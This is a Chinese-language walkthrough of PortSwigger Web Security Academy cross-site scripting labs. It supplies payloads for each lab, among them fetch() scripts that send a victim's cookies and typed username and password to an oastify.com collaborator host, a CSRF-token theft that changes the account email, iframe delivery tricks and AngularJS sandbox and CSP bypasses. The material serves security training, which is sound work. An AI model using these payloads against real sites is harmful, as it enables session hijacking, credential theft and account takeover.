【portswigger】第二专题-XSS(二)

portswigger 靶场(第二章节)XSS


视频同步更新至bilibili

bibi地址
【【portswigger】第二专题-XSS(一·前置知识)】 https://www.bilibili.com/video/BV1mp4y157xA/?share_source=copy_web
【【portswigger】第二专题-XSS(二)】 https://www.bilibili.com/video/BV1t14y1z7pk/?share_source=copy_web&vd_source=0e30e09a4adf6f81c3038fa266588eff
【【portswigger】第二专题-XSS(四)】 https://www.bilibili.com/video/BV1xj411d7V8/?share_source=copy_web&vd_source=0e30e09a4adf6f81c3038fa266588eff
【【portswigger】第二专题-XSS(三)】 https://www.bilibili.com/video/BV1ck4y1377S/?share_source=copy_web&vd_source=0e30e09a4adf6f81c3038fa266588eff

欢迎关注微信公众号:微光安全团队

这是官方备忘录:

python 复制代码
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

总体目录

我这里简单总结一下每个实验室所对应的技术栈

可能有漏的,见谅

python 复制代码
3、涉及实验:

        实验1:将XSS反射到HTML上下文中,不进行任何编码

4、反射的XSS攻击的影响

        实验14:利用跨站点脚本窃取Cookie

        实验15:利用跨站点脚本来捕获密码

        实验16:利用XSS实现CSRF

三、不同上下文中的反射XSS

1、简述:

2、HTML标记之间的XSS

        实验2:将XSS存储到HTML上下文中,不进行任何编码

        实验17:将XSS反射到HTML上下文中,大多数标记和属性被阻止

        实验18:将XSS反射到HTML上下文中,除自定义标记外,所有标记都被阻止

        实验25:具有事件处理程序和 href 已阻止属性

        实验19:允许使用一些SVG标记的反射XSS

3、HTML标记属性中的XSS

        实验7:将XSS反射到带尖括号的HTML编码属性中

        实验8:将XSS存储到锚中 href 带双引号的属性HTML编码

        实验20:规范链接标记中反射的XSS

4、终止现有脚本

        实验21:将XSS反射到JavaScript字符串中,并使用单引号和反斜杠进行转义

        实验9:将XSS反射到带有尖括号的JavaScript字符串HTML编码

        实验22:将XSS反射到JavaScript字符串中,使用尖括号和双引号HTML编码并转义单引号

        实验26:JavaScript URL中反射的XSS,其中一些字符被阻止

        实验23:将XSS存储到onclick事件中,使用尖括号和双引号HTML编码,使用单引号和反斜杠转义

        实验24:将XSS反射到模板文本中,带有尖括号、单引号、双引号、反斜杠和反记号

四、客户端模板注入

1、简述:

 2、AngularJS沙盒

        实验27:反射的XSS,带AngularJS沙箱转义,不带字符串

 3、AngularJS CSP旁路

         实验28:反射XSS与AngularJS沙箱转义和CSP

lab1:

将以下内容复制并粘贴到搜索框中:

python 复制代码
 <script>alert(1)</script>

即可

lab2

同上
这次需要把xss内容放在评论,这样就可以造成一个存储型xss

python 复制代码
<script>alert(1)</script>

lab3

漏洞成因

query参数可控,闭合img标签

在输入1111后,我的输入值出现在了url中,我将尝试一个基础的xss payload


所以我打开了页面源码
发现我的payload被编码了

所以我这个时候应该想两个方式,如何绕过编码

我继续向下看,html中出现的函数引起了我的注意

他告诉我我输入的search内容被进入了一个变量叫做query,而后这个query进入了一个函数叫做tracksearch,这个函数的功能是通过document.write写入一个img标签

我接着使用f12查找了这个img src

所以这就是payload

python 复制代码
"><script>alert(1)</script>

解决

简单看一下怎么闭合的

python 复制代码
原本的
<img src="/resources/images/tracker.gif?searchTerms=11111" >
注入的内容
"><script>alert(1)</script>
结果
<img src="/resources/images/tracker.gif?searchTerms="><script>alert(1)</script>" >

这个就是原理,所以后面就不演示是怎么闭合的了

lab4

漏洞成因:searchMessage的直接传递

这个靶场使用一个 innerHTML赋值

按照官方的解释

这 innerHTML接收器不接受 script任何现代浏览器上的元素,也不会 svg onload事件火。

这意味着您将需要使用替代元素,例如 img或者 iframe。 事件处理程序,例如 onload和 onerror可以与这些元素结合使用。

翻译的什么乱七八糟的·····

简单来说就是用了innerHTML可以通过onload和 onerror来利用

而onerror很好用,只需要用一个不存在的标签包含,在进行的时候就可以释放出里面的onerror达到xss

payload

python 复制代码
<img src=1 onerror=alert(1)>

并且每当你刷新或者别人点进来,都会造成一次xss

lab5

漏洞成因: returnpath可控 导致herf标签被注入

这种漏洞在官方的解释如下

如果正在使用 jQuery 等 JavaScript 库,请留意可以更改页面上 DOM 元素的接收器。 例如,jQuery 的 attr()函数可以改变DOM元素的属性。 如果数据是从用户控制的源(例如 URL)读取的,然后传递给 attr()函数,那么就有可能操纵发送的值导致 XSS。 例如,这里有一些 JavaScript 可以更改锚元素的 href使用 URL 中的数据的属性:

他们问题出在了反馈界面

在我们提交了反馈之后

观察url

python 复制代码
https://0a2a000404ef1e26814253c300c40025.web-security-academy.net/feedback?returnPath=/post/comment/confirmation

我顺着这个参数找到了函数
内部还有一个类似于子函数的内容

backLink

顺着继续找

看来我的url可以控制着一部分

那我就改一下url

按照题目要求,使用

python 复制代码
javascript:alert(document.cookie)

而后点击后退按钮

lab6

漏洞原理: jquery选择器内可以插入标签

这个漏洞基于jQuery 中的 DOM XSS:hashchange 事件

var post=$()这行是用jquery选择对应的元素,可以定位到多个元素

所以下面一行post.get(0)是指符合条件的第一个元素

如果元素存在则执行post.get(0).scrollIntoView();

而scrollintoview

这个的功能就是跳到你的输入点

如下

我们手动将页面划到最下面

看到一个volunteering

而后我们在url的最后面输入/#Volunteering
就会发现页面自动滚动到了那么标签所在的位置

选择器经常与 location.hash或自动滚动到页面上特定元素的源。 这种行为通常是使用易受攻击的漏洞来实现的 hashchange事件处理程序,例如

python 复制代码
$(window).on('hashchange', function() {
	var element = $(location.hash);
	element[0].scrollIntoView();
});

最新版本的 jQuery 通过防止在输入以哈希字符开头时将 HTML 注入选择器来修补此特定漏洞( #).

要利用此漏洞,攻击者必须找到一种方法来触发 hashchange无需用户交互的事件,例如iframe.

根据题目的提示

我找到了相关的函数

python 复制代码
$(window).on('hashchange', function(){
	var post = $('section.blog-list h2:contains(' + decodeURIComponent(window.location.hash.slice(1)) + ')');
	if (post) post.get(0).scrollIntoView();
});

这一段代码的含义是

此代码将事件侦听器附加到"window"对象上的"hashchange"事件,该事件侦听器在 URL 的哈希片段(URL中"#"符号之后的部分)更改时触发。当事件被触发时,代码创建一个变量"post",该变量选择"section"元素中的第一个标题(h2)元素,其类"blog-list"包含当前哈希片段的文本(使用"decodeURIComponent"函数解码)。如果"post"变量不为空,则代码使用"scrollIntoView"方法将选定的标题元素滚动到视图中。

为了利用该漏洞,让我们在#后放置一个 XSS 有效负载 <img src=x onerror=alert(1)>在 URL 中,

这应该会触发一个警报,因为 jquery 选择器 $()将首先尝试选择(查找)页面上的项目,当失败时(本例中该字符串不存在),它将添加该元素。

我们需要向管理员发送一个 URL 来触发 print()功能,但没有迹象表明管理员会单击我们提供的任何链接。 因此,我们可以使用 iFrame 自动呈现我们选择的 URL。

在下面的示例中, src属性指向具有空哈希值的易受攻击页面。 当 iframe加载后,XSS 向量会附加到哈希中,从而导致 hashchange触发事件

python 复制代码
<iframe src="https://xxxxxx/#" onload="this.src+='<img src=x οnerrοr=print()>'"></iframe>
python 复制代码
<iframe src="https://0a0e0001030a35cc834c2df0001500b6.web-security-academy.net/#" onload="this.src+='<img src=x οnerrοr=print()>'"></iframe>

lab7

首先我们尝试一个基础的xss

python 复制代码
"><script>alert(hahahaha)</script>

发现<>都被过滤了

于是我尝试了对他们进行url编码

但依旧无效

所以我选择利用事件触发,之前也有类似的例如onerror

类似的还有onclick等等

这里我们利用

python 复制代码
"οnmοuseοver="alert(1)

并且一个双引号闭合掉

于是只要我们吧鼠标移动到输入框,就可以触发xss

lab8

漏洞成因: herf标签被注入

我们进入实验室

进入评论区

先随便输入点什么

看看都会怎么运转

我发现有一个超链接

他的herf属性指向我输入的website,并且看起来没有什么过滤

那我尝试一下

python 复制代码
javascript:alert(1)

然后就成功了

lab9

我们同样输入一个特征字符串

然后跟踪他,看看他经历了什么

我输入了hahaha

并且在f12跟踪到了这个js函数部分
我们看到我们的输入在一个js脚本中

对于这种情况,我们可以采用闭合js标签来进行一个新的属性

例如:

python 复制代码
</script><img src=1 onerror=alert(1)>

但是在本题中

我们的输入被''包裹

而又因为 JavaScript 不允许变量中存在空格,因此整个字符串将被视为变量的一部分

所以我们采用如下的方法

python 复制代码
'-alert(document.domain)-'
';alert(document.domain)//

其中-或者;都表明 alert与它之前的字符串文字标记有关。 -可以做到这一点,任何其他运算符也可以,例如 +, %, 等等。 您还需要连接的末端 alert与恢复的字符串文字,因此最后需要另一个运算符

所以,当我们输入payload之后

python 复制代码
'-alert(1)-'

我们完成了挑战

lab10

这是之前完成的document.write接收器的domxss的进阶版

我们看到参数的传递,所以我们搜索这个参数

我找到了他,可我并没有在js代码中看到他

于是我仔细观察了js代码

并发现了有趣的东西

python 复制代码
    var stores = ["London","Paris","Milan"];
                                var store = (new URLSearchParams(window.location.search)).get('storeId');
                                document.write('<select name="storeId">');
                                if(store) {
                                    document.write('<option selected>'+store+'</option>');
                                }
                                for(var i=0;i<stores.length;i++) {
                                    if(stores[i] === store) {
                                        continue;
                                    }
                                    document.write('<option>'+stores[i]+'</option>');
                                }
                                document.write('</select>');
                            

根据这个js代码,我发现还存在一个storeid的参数

他可以被写入option标签

并且会赋予一个storesid

便于查询

所以我们只需要在url中添加这个参数,就可以拥有一个可控的js参数

python 复制代码
?productId=2&storeId=test

发生的事情都如我们预期

接下来我就要尝试闭合这个option标签,而后进行注入

python 复制代码
?productId=1&storeId=</option><script>alert('xss')</script>//

解决

并且观察源码

lab11

同样先输入一个随机字符

但是我们的输入并没有进入函数

可是我们也看见了ng-app

这代表着

当指令添加到 HTML 代码中时,您可以执行双花括号内的 JavaScript 表达式。 当对尖括号进行编码时,此技术非常有用。

那么我们进行利用

python 复制代码
{{alert('haha')}}

但是失败

所以使用如下payload

python 复制代码
{{$on.constructor('alert(1)')()}}

$on.constructor=constructor.constructor,基本上它的解释与函数相同,就好像我们声明了一个函数,然后在其中放置了将要执行的代码,因为这里是完全相同的,在括号内,我们放置了我们想要执行的内容

他的效果就是我先constructor了一个方法然后再去调用它,来绕过一些检测

lab12

漏洞成因:eval让alert执行

我们这里把它用bp来处理首先我们简单闭合一下
显示多出来了一个反斜杠

也就是转义符,我们只需要再加一个\就能抵消掉

所以最终的payload如下

python 复制代码
\"-alert(1)}//

lab13

我们先随便填一下评论

发现显示什么的都正常

所以我开始看js文件
发现存在一个replace函数

为了防止 XSS ,该网站使用了 JavaScript replace()对尖括号进行编码的函数。 但是,当第一个参数是字符串时,该函数仅替换第一次出现的位置。

所以我多增加一对尖括号

python 复制代码
<><img src=1 onerror=alert(1)>

即可

lab14

这一关我们需要使用到bp

以及备忘录

首先我们把传参的数据包发给intruder并在如图所示位置添加payload部分

而后来到备忘录

python 复制代码
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

我们来到备忘录以后

首先复制全部的标签,测试哪一个标签在waf之外

而后在bp intruder中的payload中粘贴

而后开始攻击
发现body是200,所以我们继续构造事件

python 复制代码
<body%20=1>

在空格前添加变量测试点

再把备忘录中的事件全部粘贴过来

发现了这么多的可利用事件

我们就按照onresize去利用

备忘录中有无需用户交互的payload

python 复制代码
<body onresize="print()">

那就利用这个

因为题目中说了本地无法完成

所以我们先去利用服务器

加入一个iframe标签

python 复制代码
<iframe src="https://0afb005304132185821c3d1c00320095.web-security-academy.net/?search=%3Cbody+onresize%3D%22print%28%29%22%3E"onload=this.style.width='100px'>

onload是用来调整窗口大小的
因为这个事件在调整窗口大小的时候触发

lab15----

这个lab阻止除自定义标签之外的所有 HTML 标签。

当然他没有阻止完

你可以尝试按照上一个靶场去利用

但是我们按照lab的技术栈继续完成

你只需要在漏洞利用服务器中body部分输入如下的payload即可

python 复制代码
<script>
location = 'https://YOUR-LAB-ID.web-security-academy.net/?search=%3Cxss+id%3Dx+onfocus%3Dalert%28document.cookie%29%20tabindex=1%3E#x';
</script>

我可以稍微解释一下

< 这部分 xss 代码创建一个名为"xss"的自定义标签。

id=x 自定义的 <xss>标记中。 通过将名为"x"的 id 属性添加到

onfocus=alert(document.cookie) 来指定的 HTML 元素。

使得在获得焦点时执行 JavaScript 代码的事件属性中。

网页会自动聚焦在url中有#选择元素里tabindex最小的一个元素

这次自定义的 xss 标签 被 id=x分配

当使用 Tab 键,ID 为 x 的 html 元素将获得焦点。 从而完成一次xss攻击

#x是为了 页面加载时自动触发有效负载

lab16

与之前一样,利用bp以及清单去找哪些没有被过滤

关于svg,可以参考这篇文章

python 复制代码
https://developer.mozilla.org/en-US/docs/Web/SVG/Element/svg

最终的payload如下

python 复制代码
%3Csvg%3E%3Canimatetransform%20onbegin=alert(1)%3E

这里说一下为什么要用animateTransform标签

上面可以看到可以用的事件只有onbegin,而svg标签是没有这个事件的

animateTransform是有onbegin事件的

lab17

这个先跳过

我不用谷歌,好像测试不了

lab18

首先输入特征字符串
而后我在前端找到了他们

这说明我输入的字符被前段js脚本处理

所以我先尝试直接关掉js

python 复制代码
</script><script>alert(1)</script>

然后就ok了?

lab19

同样先输入一个特征字符串

那就说明我也在js中处理我输入的信息

那我的首选就是闭合掉js代码或者闭合引号

但是仔细一看,发现我在引号包裹了,那么就只能用之前的方法

先让引号闭合

然后直接alert就行

我现在在bp中进行观察
对引号进行了转义

最终的payload

python 复制代码
\'-alert(1)//

lab20

这是一个存储型

首先我们也是输入一些特征字符

并且题目中也有提示

尖括号和双引号的事件 HTML 编码且单引号和反斜杠转义

所以我们要考虑一些基础的绕过
首先我们发现它具有onclick的属性

那么我们的目标就是

把我们的url解放出来,成为一个单独的个体

我们需要闭合前后各一个单引号

直接输入失败了

尝试了urlencode

但是失败了

hex

也失败了

最后发现'也就是单引号的html表达式

可以正常运行

python 复制代码
http://&apos;-alert(1)-&apos;

所以这就是最终的payload

还有一些其他的html符号表达式子如下

python 复制代码
HTML的转义符
"     &quot;
'     &apos;
&    &amp;
<    &lt; 
>    &gt;
空格  &nbsp;
©    &copy;

lab21

同样先输入特征字符串

我接下来尝试一个多钟符号组成的字符串,看看他的转义

python 复制代码
<>'"\ 

看到了反引号,这是一个输出模版

所以我们,可以直接用

python 复制代码
${alert(1)}

来告诉他

这是一个脚本需要运行

就ok了

lab22

这算是一个比较常见的利用了

一般来说通过xss来获取到cookie,然后恶意服务端会有一些自动执行的脚本

来利用这个cookie去进行一些操作,例如尝试登陆等等

首先我输入

python 复制代码
<img src=0 onerror=print()> 

在评论区,他可以正常运行

那么我就开始构造我的窃取xss

python 复制代码
<script>
fetch('https://o1qceoykax1i47hwxxw3u2tuoluci26r.oastify.com', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
</script>

于是我们就拿到了cookie

lab23

也很贴近实战

道理都一样

python 复制代码
<input name=username id=username>
<input type=password name=password onchange="if(this.value.length)fetch('https://jk73al66zbtlj5x87xdhlovssjyam6av.oastify.com',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">

lab24

我们进去之后先登录一下
可以看到更新邮件地址需要像这个url发送一点东西

并且还需要一个csrf的token
那我们的目的就明确了

窃取token并且发送给这个url

跟刚才的窃取一样

只不过多了个发送的过程

当然了,对于csrf的窃取也不只有这一种方法

大概有两种方法

1.利用js代码,获取受害者主机上面的token(在受害者主机发起请求)

2.在自己电脑上替换cookie,提取自己主机上面的token(在自己主机发起请求)

python 复制代码
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/my-account',true);
req.send();
function handleResponse() {
    var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
    var changeReq = new XMLHttpRequest();
    changeReq.open('post', '/my-account/change-email', true);
    changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>

也是在评论区

lab25

这是个angular的沙箱逃逸

直接fuzzpayload

原理太复杂

python 复制代码
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#angularjs-sandbox-escapes-reflected

payload

python 复制代码
1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1

lab26

简单理解就是CSP只会加载自己信任的资源,不信任的统统拦截

该漏洞利用了 ng-focusAngularJS 中的事件来创建绕过 CSP 的焦点事件。 它还使用 $event,这是一个引用事件对象的AngularJS 变量。 这 path属性特定于Chrome,包含触发事件的元素数组。 数组中的最后一个元素包含 window目的。通常情况下, |在 JavaScript 中是按位或运算,但在 AngularJS 中它表示过滤操作,在本例中是orderBy筛选。冒号表示正在发送到过滤器的参数。 在论证中,而不是调用 alert直接函数,我们将其分配给变量 z。 该函数仅在以下情况下才会被调用orderBy操作达到 window对象在 $event.path大批。 这意味着它可以在窗口范围内调用,而无需显式引用window对象,有效绕过 AngularJS window查看。

也可以直接找

python 复制代码
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#angularjs-sandbox-escapes-reflected

lab27

禁用了所有事件以及href

那就想个办法代替href

也是这个靶场的知识点

attributename可以把href="xxx"分解成attributename=href values=xxx

我们搜索一下这个属性

python 复制代码
<svg><a><animate attributeName="href" values="javascript:alert(1)"></animate><text x="20" y="20">Click me</text></a></svg>

lab28

漏洞成因

首先随便输入,然后顺着传递的参数跟到了这一块的实现代码

python 复制代码
<a href="javascript:fetch('/analytics', {method:'post',body:'/post%3fpostId%3d3'}).finally(_ => window.location = '/')">Back to Blog</a>

先试试单引号能不能闭合
而后拿着一堆符号fuzz一下

fuzz的结果就是只要是&开头就合法,而后尝试&'能不能闭合单引号

发现可以

那就看一下能不能闭合{

发现也可以

那屁股后面的花括号也可以闭合了

那就接着测试加入一个alert(1)

python 复制代码
&'},alert(1),{x:'

结果发现空格被过滤

我原本的预期是下面这样的

python 复制代码
<a href="javascript:fetch('/analytics', {method:'post',body:'/post%3fpostId%3d3&'},alert(1),{x:''}).finally(_ => window.location = '/')">Back to Blog</a>

这个时候看一下答案的payload

python 复制代码
&'},x=x=>{throw/**/οnerrοr=alert,1337}, toString=x,window+'',{x:'

分析一下

&'},闭合前面的{

x=x=>{throw/**/onerror=alert,1337}, 定义一个箭头函数,/**/是注释,绕过空格过滤,throw是抛出异常,alert函数重载onerror函数,抛出异常的时候会自动调用onerror函数,其实是调用的alert,所以后续的逻辑就是造成错误,这一步最关键的点是

由于没有变量声明, x将是一个隐含的全局变量

toString=x,用箭头函数重载toString函数,这也修改了,正因为x是一个全局变量,所以tostring是一个全局方法,所以这一步他会改变window的方法,从而导致window向字符串转化的时候就会调用x,也就是抛出异常的onerroe也就是alert

window+'',用window+字符串,而js认为字符串才能加字符串,所以window被强制转换成字符串,自动会调用window的toString函数

{x:'闭合后面的'},

这整个payload核心我认为是window+

能理解就理解吧,理解不了知道有这么一种方法就行

lab29

lab30

相关推荐
2401_85761762几秒前
“无缝购物体验”:跨平台网上购物商城的设计与实现
java·开发语言·前端·安全·架构·php
2401_8574396910 分钟前
智慧社区电商系统:提升用户体验的界面设计
前端·javascript·php·ux
我是高手高手高高手19 分钟前
ThinkPHP8多应用配置及不同域名访问不同应用的配置
linux·服务器·前端·php
士别三日wyx37 分钟前
HW护网分析研判思路,流量告警分析技巧
安全·web安全·网络安全
csdnLN1 小时前
$.ajax() 对应事件done() 、fail()、always() 的用法
前端·javascript·ajax
甜味橘阳1 小时前
echarts地图可视化展示
前端·javascript·echarts
张声录11 小时前
【ETCD】【实操篇(十六)】基于角色的访问控制:ETCD 安全管理指南
数据库·安全·etcd
bloxed2 小时前
前端文件下载多方式集合
前端·filedownload
余生H2 小时前
前端Python应用指南(三)Django vs Flask:哪种框架适合构建你的下一个Web应用?
前端·python·django
LUwantAC2 小时前
CSS(四)display和float
前端·css